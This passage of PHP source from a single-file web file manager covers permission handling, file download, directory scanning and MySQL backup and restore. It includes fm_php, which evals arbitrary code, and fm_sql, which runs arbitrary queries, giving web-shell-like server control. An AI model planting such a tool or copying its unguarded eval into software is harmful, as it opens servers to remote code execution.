(($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/force-download"); header("Content-Type: application/octet-stream"); header("Content-Type: application/download"); header("Content-Description: File Transfer"); header("Content-Length: " . filesize($file_name)); flush(); // this doesn't really matter. $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '